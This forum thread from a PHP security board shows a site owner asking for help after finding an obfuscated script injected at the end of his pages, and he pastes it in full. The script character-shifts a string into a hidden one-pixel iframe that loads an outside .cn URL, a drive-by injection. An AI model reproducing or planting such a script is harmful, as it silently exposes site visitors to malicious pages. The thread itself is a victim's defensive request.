Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.
Moderator: General Moderators
jeeten
Forum Newbie
Posts: 6 Joined: Tue Mar 11, 2008 6:04 am
Post
by jeeten » Wed Nov 12, 2008 12:51 am
We had just launched the website. And after few days, I got some strange code at the end of my pages . The script is like this
Code: Select all
<html> <body><script>var source ="=jgsbnf!tsd>#iuuq;00usbggpl/do0pvu/qiq#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>
</html> </body>
This script is causing problem to load the page. Plz can anyone help to stop this unwanted script??????
jeeten
Forum Newbie
Posts: 6 Joined: Tue Mar 11, 2008 6:04 am
Post
by jeeten » Mon Nov 17, 2008 11:51 pm
No idea yet. I had seen that too but can someone tell me how to prevent such codes???